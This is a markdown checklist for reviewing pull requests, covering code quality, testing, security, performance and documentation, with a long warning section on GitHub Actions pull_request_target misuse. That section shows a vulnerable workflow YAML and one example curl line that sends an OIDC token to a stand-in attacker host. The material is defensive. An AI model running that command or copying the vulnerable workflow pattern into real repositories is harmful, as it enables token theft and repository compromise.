Files
gh-bbrowning-bbrowning-clau…/skills/pr-review/reference/review-checklist.md
2025-11-29 18:00:42 +08:00

12 KiB

Comprehensive PR Review Checklist

This document provides detailed criteria for reviewing pull requests. Use this as a reference when conducting thorough code reviews.

Code Quality

Readability

  • Variable and function names are descriptive and meaningful
  • Code structure is logical and easy to follow
  • Nesting depth is reasonable (avoid deeply nested conditionals)
  • Functions are focused and do one thing well
  • Magic numbers are replaced with named constants
  • Complex logic has explanatory comments

Maintainability

  • Code follows DRY principle (Don't Repeat Yourself)
  • Abstractions are at appropriate levels
  • Dependencies are minimal and justified
  • Code is modular and loosely coupled
  • Future changes would be straightforward

Project Conventions

  • Follows established coding style
  • Uses project's preferred patterns and idioms
  • File and directory organization matches conventions
  • Naming conventions are consistent
  • Import/require statements follow project standards

Error Handling

  • Errors are caught and handled appropriately
  • Error messages are helpful and specific
  • No silent failures or swallowed exceptions
  • Edge cases have explicit handling
  • Graceful degradation where appropriate

Correctness

Logic

  • Algorithm is correct for stated purpose
  • Conditions and loops are correctly structured
  • Off-by-one errors are avoided
  • State management is sound
  • Async operations are properly handled

Edge Cases

  • Null/undefined/nil values handled
  • Empty collections handled
  • Boundary conditions addressed (min, max, zero)
  • Concurrent access considered if applicable
  • Integer overflow/underflow considered if applicable

Alignment with Intent

  • Implementation matches PR description
  • All described features are present
  • No undescribed significant changes
  • Commit messages accurately describe changes
  • Solves the stated problem

Testing

Test Coverage

  • New functionality has tests
  • Modified functionality has updated tests
  • Edge cases are tested
  • Error conditions are tested
  • Integration points are tested

Test Quality

  • Tests are readable and maintainable
  • Tests are deterministic (no flaky tests)
  • Tests use appropriate assertions
  • Test data is realistic
  • Tests run in reasonable time
  • Tests don't depend on external services unnecessarily

Test Organization

  • Tests are well-organized and grouped logically
  • Test names clearly describe what they test
  • Setup and teardown are appropriate
  • Tests are independent of each other

Security

Input Validation

  • All user input is validated
  • Input length limits are enforced
  • Type checking is performed
  • Whitelisting used over blacklisting where possible

Authentication & Authorization

  • Authentication is required where needed
  • Authorization checks are present
  • Permissions are checked at appropriate level
  • No privilege escalation vulnerabilities

Data Safety

  • No hardcoded secrets or credentials
  • Sensitive data is encrypted
  • SQL injection prevented (parameterized queries)
  • XSS vulnerabilities prevented
  • CSRF protection where needed
  • No path traversal vulnerabilities

Dependencies

  • New dependencies are necessary and vetted
  • Dependencies are from trusted sources
  • No known vulnerable dependency versions
  • Minimal dependency footprint

CI/CD & GitHub Actions Security

CRITICAL: Workflows using pull_request_target that checkout untrusted code are a severe security risk.

The pull_request_target Anti-Pattern

The following pattern is CRITICAL priority and often missed in reviews:

on:
  pull_request_target:  # ⚠️ Runs with elevated privileges

jobs:
  build:
    permissions:
      id-token: write      # ⚠️ Can obtain OIDC tokens
    steps:
      - uses: actions/checkout@v5
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ⚠️ Checks out untrusted PR code
      - uses: third-party/action@v1   # ⚠️ Processes untrusted code with privileges

Why this is dangerous:

  • pull_request_target runs workflow from base branch with access to secrets and OIDC tokens
  • Checking out PR code brings untrusted files into the workflow environment
  • Attacker controls the checked-out files and can exploit third-party actions

Attack vectors to consider:

  1. Code Execution

    • Action runs npm install, pip install, or other package managers
    • Action executes scripts from the repository (setup.py, Makefile, etc.)
    • Action processes files in ways that could trigger code execution
  2. YAML/File Content Exploitation

    • Malicious YAML could exploit unsafe deserialization
    • Injection attacks if file content passed to shell commands
    • Path traversal vulnerabilities in file processing
  3. OIDC Token Exfiltration

    • Any code execution allows: curl attacker.com/?token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN
    • Token accessible via environment variables and GitHub API
    • Could be used to impersonate the repository in cloud services
  4. Supply Chain Attacks

    • Poison SDK/package builds to inject malicious code
    • Modify artifacts before publication
    • Compromise downstream users of generated packages

What to verify when reviewing workflows:

  • Avoid the pattern entirely: Can this use pull_request instead?
  • Audit third-party actions: Review the action's source code at the pinned commit
    • What does it do with checked-out files?
    • Does it execute any code from the repository?
    • Does it run package managers?
    • How does it parse YAML/config files?
  • Verify repository settings: Is manual approval required for fork PRs?
    • Settings → Actions → General
    • "Require approval for all outside collaborators" should be enabled
  • Implement defense-in-depth:
    • Use sparse checkout to limit files available
    • Add validation steps before processing untrusted files
    • Minimize permissions granted to workflows
  • Consider access model: Who can trigger workflows? (In repos where anyone with 1+ merged PR can open new PRs, risk is higher)

The complete trust chain:

When a workflow uses pull_request_target + checkout + third-party action, you're trusting:

  1. The action never executes code from the repository
  2. The action safely parses all file formats (YAML, JSON, etc.)
  3. The action only reads specified files (no path traversal)
  4. The action doesn't leak environment variables
  5. The action doesn't pass file content to shell/system calls unsafely
  6. The action's dependencies are not compromised
  7. The pinned commit wasn't malicious when created
  8. Manual approval (if configured) actually prevents abuse

If ANY of these fail, the repository is compromised.

Red flags requiring CRITICAL classification:

  • pull_request_target + checkout of PR code + id-token: write permission
  • pull_request_target + checkout of PR code + secrets: inherit
  • pull_request_target + checkout of PR code + third-party actions processing those files
  • Comments claiming "this is safe" without verification/audit

Safer alternatives:

  • Use pull_request trigger (no secrets/OIDC access)
  • Use sparse checkout to limit exposure
  • Implement separate validation job before privileged operations
  • Require explicit manual approval for all fork PRs

Remember: A comment in the workflow saying "this is safe because the action only reads files" is NOT sufficient verification. That claim must be proven through source code audit and security review of the action.

Performance

Efficiency

  • No unnecessary computations
  • Appropriate data structures chosen
  • Loops are efficient
  • No N+1 query problems
  • Caching used appropriately

Scalability

  • Handles expected load
  • No obvious bottlenecks
  • Memory usage is reasonable
  • Resource cleanup is proper

Database

  • Queries are optimized
  • Indexes are appropriate
  • No full table scans on large tables
  • Batch operations where applicable
  • Connection pooling used properly

Backward Compatibility

API Changes

  • Public API maintains backward compatibility
  • Breaking changes are documented and justified
  • Deprecation warnings added before removal
  • Version numbers updated appropriately

Database

  • Migrations are reversible
  • Migrations handle existing data safely
  • No data loss in migrations
  • Column renames/removals are staged appropriately

Configuration

  • Config changes are backward compatible
  • Default values maintain existing behavior
  • Environment variable changes documented
  • Feature flags used for risky changes

Dependencies

  • Dependency updates are compatible
  • Breaking changes in dependencies handled
  • Lock files updated appropriately

Documentation

Code Documentation

  • Complex logic has explanatory comments
  • Comments explain "why" not "what"
  • No outdated or misleading comments
  • Public APIs have documentation
  • Function parameters and returns documented

Project Documentation

  • README updated if user-facing changes
  • API documentation updated
  • Configuration changes documented
  • Migration guides for breaking changes
  • CHANGELOG updated if applicable

Comments

  • TODOs have context and ownership
  • No commented-out code (use version control)
  • Comments add value

Architecture & Design

Design Patterns

  • Appropriate patterns used
  • No anti-patterns introduced
  • Consistent with existing architecture
  • SOLID principles followed

Separation of Concerns

  • Business logic separated from presentation
  • Data access layer properly abstracted
  • Cross-cutting concerns handled appropriately

Modularity

  • Changes are properly encapsulated
  • Minimal coupling between modules
  • Clear interfaces and contracts

Git Hygiene

Commits

  • Commits are logical units
  • Commit messages are clear and descriptive
  • No merge commits in feature branch (if applicable)
  • No "WIP" or "fix typo" commits in final PR

Scope

  • PR is focused on single concern
  • No unrelated changes
  • PR is reviewable size (not too large)

Language-Specific Considerations

Python

  • Type hints used appropriately
  • Context managers used for resources
  • List comprehensions readable
  • Virtual environment properly configured

JavaScript/TypeScript

  • TypeScript types are specific (not any)
  • Promises handled properly
  • Memory leaks prevented (event listeners cleaned up)
  • Bundle size impact considered

Go

  • Errors are checked
  • defer used appropriately
  • Goroutines properly managed
  • Race conditions prevented

Java

  • Exceptions properly handled
  • Resources closed properly
  • Thread safety considered
  • Appropriate access modifiers used

Rust

  • Ownership and borrowing correct
  • Unsafe code justified and minimal
  • Error handling idiomatic (Result/Option)
  • Lifetime annotations appropriate

Review Process

Context

  • Read PR description thoroughly
  • Understand the problem being solved
  • Check related issues/discussions
  • Review previous comments on PR

Thoroughness

  • All changed files reviewed
  • Related unchanged files checked for impact
  • Tests examined
  • CI results checked

Communication

  • Feedback is constructive
  • Specific file and line references provided
  • Suggestions include rationale
  • Questions asked for unclear code
  • Positive aspects acknowledged

Customization

This checklist can be extended with repository-specific criteria. Add custom sections below for:

  • Framework-specific patterns
  • Organization coding standards
  • Domain-specific requirements
  • Compliance requirements
  • Performance benchmarks